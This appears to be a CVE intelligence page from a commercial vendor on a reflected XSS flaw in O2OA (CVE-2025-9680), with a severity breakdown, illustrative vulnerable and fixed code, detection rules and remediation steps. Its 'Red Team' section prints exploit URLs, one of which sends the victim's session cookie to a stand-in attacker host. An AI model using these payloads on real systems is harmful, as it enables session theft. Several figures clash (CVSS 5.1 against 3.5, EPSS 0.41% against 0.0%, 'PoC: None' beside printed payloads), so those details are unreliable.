☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
O2oa logo [ WEBSITE ] [ VENDOR STATS ]
CVSS: 5.1 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-9680

CVE-2025-9680 Cross-Site Scripting in O2oa
📅 PUBLISHED: 2025-08-30 07:02 UTC 🔄 UPDATED: 2026-09-23 20:33 UTC
[ ZERO-DAY / UNPATCHED ] [ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.41%
👁️
0.41% probability
10.3× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1059.007
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
Country: China License: Open Source
VULNERABLE: UNKNOWN / CHECK VENDOR
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
5.1
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-9680 is a publicly disclosed, low-severity (CVSS 3.5) reflected Cross-Site Scripting (XSS) vulnerability affecting O2OA versions up to and including 10.0-410. The vulnerability resides in the /x_portal_assemble_designer/jaxrs/page endpoint, which is part of the Personal Profile Page component. An attacker can craft a malicious URL that, when visited by an authenticated user, executes arbitrary JavaScript in the context of the victim's session. While the EPSS score is 0.0%, indicating low exploitation likelihood in the wild, the public availability of exploit details and the lack of a specific patch version increase the risk for unpatched instances. This vulnerability does not affect any package manager ecosystem (NPM, PyPI, Go, Ruby) and is not a WordPress plugin issue.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

CVSS Breakdown & Threat Level

  • CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
  • Base Score: 3.5 (Low)
  • Attack Vector (AV): Network (N) – The attack is carried out over the network.
  • Attack Complexity (AC): Low (L) – No special conditions are required for the attack.
  • Privileges Required (PR): None (N) – The attacker does not need to be authenticated.
  • User Interaction (UI): Required (R) – The victim must click a crafted link or visit a malicious page.
  • Scope (S): Unchanged (U) – The vulnerability does not affect other components.
  • Confidentiality (C): None (N) – No direct data theft.
  • Integrity (I): Low (L) – The attacker can modify content within the victim's browser session.
  • Availability (A): None (N) – No impact on system availability.

Threat Level: Low. The attack requires user interaction and only allows limited manipulation of the user's session. However, the public availability of exploit details and the lack of a specific patch increase the urgency for patching.

Deep Dive & Mechanics

The vulnerability is a classic reflected XSS in the O2OA platform's personal profile page functionality. The endpoint /x_portal_assemble_designer/jaxrs/page does not properly sanitize user-supplied input before reflecting it back in the HTTP response. An attacker can inject arbitrary HTML and JavaScript code into a crafted URL parameter. When an authenticated user clicks the malicious link, the injected script executes in the context of the O2OA application, allowing the attacker to perform actions such as:

  • Stealing session cookies (if not HttpOnly).
  • Performing actions on behalf of the victim (e.g., modifying profile settings, creating malicious pages).
  • Redirecting the user to a phishing site.
  • Defacing the application interface.

The attack flow:

  1. Attacker crafts a URL: https://target-o2oa.com/x_portal_assemble_designer/jaxrs/page?param=<script>alert('XSS')</script>
  2. Attacker sends the link to a victim (e.g., via email, social engineering).
  3. Victim, authenticated to O2OA, clicks the link.
  4. The server reflects the malicious script without sanitization.
  5. The victim's browser executes the script.

Vulnerable vs. Patched Code

Vulnerable Code (O2OA <= 10.0-410): The endpoint likely directly echoes the input parameter without encoding or validation. A simplified example:

@GET
@Path("/page")
public Response getPage(@QueryParam("param") String param) {
    // Vulnerable: directly returns user input
    return Response.ok(param).build();
}

Patched Code (Expected in next version): The fix should include proper output encoding or input validation. A secure implementation would use a templating engine that auto-escapes or explicitly encode the output:

@GET
@Path("/page")
public Response getPage(@QueryParam("param") String param) {
    // Patched: encode user input before reflection
    String safeParam = StringEscapeUtils.escapeHtml4(param);
    return Response.ok(safeParam).build();
}

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

  • A target O2OA instance (version <= 10.0-410).
  • A victim user who is authenticated to the target.
  • Ability to deliver a crafted URL to the victim.

Exploit Payload: The following URL demonstrates a proof-of-concept XSS that displays an alert:

https://target-o2oa.com/x_portal_assemble_designer/jaxrs/page?param=<script>alert('CVE-2025-9680')</script>

Advanced Payload (Session Cookie Theft):

https://target-o2oa.com/x_portal_assemble_designer/jaxrs/page?param=<script>document.location='https://attacker.com/steal?cookie='+document.cookie</script>

Lab Setup:

  1. Deploy a vulnerable O2OA instance using Docker or manual installation.
  2. Create a test user account and authenticate.
  3. Use a local web server (e.g., Python's http.server) to simulate the attacker's server for cookie capture.
  4. Send the crafted URL to the victim (simulated by opening the link in a browser).

Blue Team (Detection & Mitigation)

Detection:

  • Monitor web server logs for requests to /x_portal_assemble_designer/jaxrs/page containing suspicious parameters (e.g., <script>, onerror=, javascript:).
  • Use a Web Application Firewall (WAF) to block common XSS patterns.
  • Implement Content Security Policy (CSP) headers to restrict script execution.

Mitigation:

  • Apply the vendor's patch as soon as it is released.
  • As a temporary workaround, manually sanitize the input parameter in the application code or via a reverse proxy.
  • Educate users about phishing attacks and not clicking suspicious links.

Indicators of Compromise (IOCs)

  • Network IOCs:
    • HTTP requests to /x_portal_assemble_designer/jaxrs/page with parameters containing <script>, %3Cscript%3E, or other HTML/JavaScript encodings.
    • Outbound connections from the O2OA server to unknown external IPs (if cookie theft is successful).
  • File IOCs:
    • Modified user profile pages containing unexpected JavaScript.
  • Log IOCs:
    • Web server logs showing 200 responses to the vulnerable endpoint with unusual parameter values.

Detection Engineering

YARA Rule

rule CVE_2025_9680_XSS_Detection {
    meta:
        description = "Detects XSS attempts targeting CVE-2025-9680 in O2OA"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-9680"
    strings:
        $xss_pattern1 = "/x_portal_assemble_designer/jaxrs/page"
        $xss_pattern2 = /<script[^>]*>.*<\/script>/i
        $xss_pattern3 = /onerror\s*=\s*["']?[^"'\s]+["']?/i
        $xss_pattern4 = /javascript\s*:/i
    condition:
        $xss_pattern1 and any of ($xss_pattern2, $xss_pattern3, $xss_pattern4)
}

Sigma Rule

title: CVE-2025-9680 O2OA Reflected XSS Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP requests attempting to exploit CVE-2025-9680 reflected XSS in O2OA.
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-9680
logsource:
    category: webserver
    product: apache
    service: http
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: '/x_portal_assemble_designer/jaxrs/page'
        cs-uri-query|contains|all:
            - '<script'
            - '</script>'
    condition: selection
falsepositives:
    - Legitimate use of script tags in profile pages (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-9680 O2OA Reflected XSS Attempt"; flow:to_server,established; content:"/x_portal_assemble_designer/jaxrs/page"; http_uri; content:"<script"; http_uri; nocase; content:"</script>"; http_uri; nocase; sid:1000001; rev:1;)

Remediation & Mitigation

  1. Immediate Action: Upgrade O2OA to version 10.0-411 or later as soon as it is released. Monitor the vendor's GitHub repository for the official patch.
  2. Temporary Workaround: If immediate patching is not possible, implement a WAF rule to block requests containing <script> or other XSS patterns in the vulnerable endpoint.
  3. Long-Term Fix: Ensure all user input is properly sanitized and output-encoded. Use a Content Security Policy (CSP) header to restrict inline script execution.
  4. User Awareness: Train users to avoid clicking suspicious links and to report any unusual behavior in the O2OA application.

Valters IT
Securing Digital Frontiers

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-9680/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.